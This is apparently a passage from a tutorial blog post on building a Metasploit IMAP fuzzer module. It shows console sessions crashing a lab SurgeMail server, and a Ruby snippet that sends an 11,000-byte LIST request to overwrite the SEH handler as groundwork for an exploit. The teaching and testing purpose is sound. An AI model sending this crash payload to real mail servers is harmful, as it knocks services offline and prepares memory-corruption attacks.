msf auxiliary(imap_fuzzer) > set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf auxiliary(imap_fuzzer) > show options

Module options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   IMAPPASS  abc123           no        The password for specified username
   IMAPUSER  foobar           no        The username to authenticate as
   RHOST     192.168.1.32     yes       The target address
   RPORT     143              yes       The target port

msf auxiliary(imap_fuzzer) >

Now everything’s setup and we can start fuzzing with the run command. As I mentioned earlier, this is going to call the run() method from our module.

msf auxiliary(imap_fuzzer) > run
[*] Authenticating as foobar with password abc123...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 228
[*] 0002 LIST () "/Wp35rRUwgwHs9XnNYJ7TE4dwF6MpWly5hoscHwTigksqYYGS5Urnn4U
     TH5dcqJqycOnodFeg1DJOXbEvs7fpiT0ndFmpCyvFjEd5PtDf0F77KRqU3DsQeBWzhUNg
     MuD1nFxMMsJTT5WHc1yJ67krgMqy7fb1wj1FEMAwcDAEIrIeImXJiW5kyCNMnT2WbTTNa
     3Cr1S2HxE6Vjcglv4f4sVb5ZwLvwkyR12OI" "PWNED"

[*] 0002 OK LIST completed

... OUTPUT TRUNCATED ...

[*] Authenticating as foobar with password abc123...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () "/FzwJjIcL16vW4PXDPpJbpsHB4p7Xts9fbaJYjRJASXRqbZnOMzprZfV
     ZH7BYvcHuwlN0YqyfoCrJyobzOqoscJeTeRgrDQKA8MDDLbmY6WCQ6XQH9Wkj4c9JCfPj
     IqTndsocWBz1xLMX1VdsutJEtnceHvhlGqee6Djh7v3oJW4tXJMMxe8uR2NgBlKoCbH18
     VTR8GUFqWCmQ0970B3gR9foi6inKdWdcE6ivbOHElAiYkFYzZ06Q5dvza58DVhn8sqSnR
     Amq1UlcUGuvr6r99POlrZst10r606J2B03TBGDFuy0dNMI0EUANKZ6OnCn3Zk1JL659MC
     8PZy0frCiPBqZ4xn0biAjFTH5LsCjIFuI5eZ9LsdXdek7iiOhEmW6D86mAtyg9S1a7RAL
     rbRcLIHJpwMsEE5LS1wIV9aFPS6RQwI4DtF4bGSle1FCyf63hy3Vo8AKkId6yu5MfjwfU
     ExandVeUldk8c5bhlyqoDp3UX2ClQPZos0KpFoIcxmq8R0E3Ri54l5Yl3OPcN7U20Kb1C
     EAfbhxGFgh1oMzjJpuM7IbHMrZNjVADz6A0byzgiP2pXa7ZmOloV9u6Fwa0l6sR6oL0Pn
     g9MYNwTMXTUdiE7rOjuOmkdgglPTkZ3n4de1FEaLh8Xhf9SNSPZUX0M7gmUiyNYv6qti3
     Omy8qvjJOQui1IhUhf5fKOunKIcB5Zw7quznxV1GF2R5hXVTw1vlbMi5TQW68ZDFlD6q6
     BJ4S3oNrFCyXXaQpAURyCoDGdjoxk1vrUPGusf3i4EIF2iqyyekWiQ7GuYcwMax3o0ZXB
     2djFh2dYEGyBSCHaFhpwUgamThinnMAsDFuEY9Hq9UOQSmZ6ySunifPFjCbDs4Zooquw0
     HPaVnbNVo97tfVBYSei9dWCUWwUAPVJVsTGoDNRVarOrg8qwbziv8aQaPZ7Y8r0SUiB1n
     Nhlhl3UCVZpf8Gck0psjETf4ks356q0I3mLZkqCLkznVV4ayetVgaDm" "PWNED"
[*] Server crashed, no response
[*] Auxiliary module execution completed
msf auxiliary(imap_fuzzer) >

Cool, right? First, it connects to the target machine and logs in with the given credentials, then it sends the malformed request. Since the server did respond after the first attempt, we repeat the process again and again until finally it says Server crashed, no response. The server goes down in less than ten seconds. Now we can check out what the debugger reported.

Back on the target machine, the debugger indicates that there was an access violation. We can tell that it crashed because of us and not something else since the value of LastErr is ERROR_FILE_NOT_FOUND.

Immunity Debugger

The debugger is paused at the point of crash

You’ll notice that, unfortunately, no memory addresses were overwritten. Nothing exploitable here. Looks like we failed again. Guess it’s time to find a new hobby. Maybe sports or something. Hey wait, I’m having one of those things. You know, a headache with pictures. Hmm…Futurama rules…sports suck…and maybe we should try increasing the length of the fuzz string. 11,000 bytes sounds about right.

Instead of using fuzz_str() to generate a random string, let’s just send a sequence of 11,000 A’s.

fuzzed = 'A' * 11000
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

By increasing the string length, this will allow our fuzzer to overwrite the Structured Exception Handler (SEH) for the surgemail.exe process. SEH is the native exception handling mechanism for Windows. It can be quite a lengthy subject so if you’re curious, check out Matt Pietrek’s notable article on SEH here. For now, know that being able to control SEH makes an exploit much more portentous.

However, overwriting SEH is a subject for another day. For now, let all of this sink in. In my next post, we’re going to expand upon our fuzzer and turn it from an auxiliary module to an exploit module.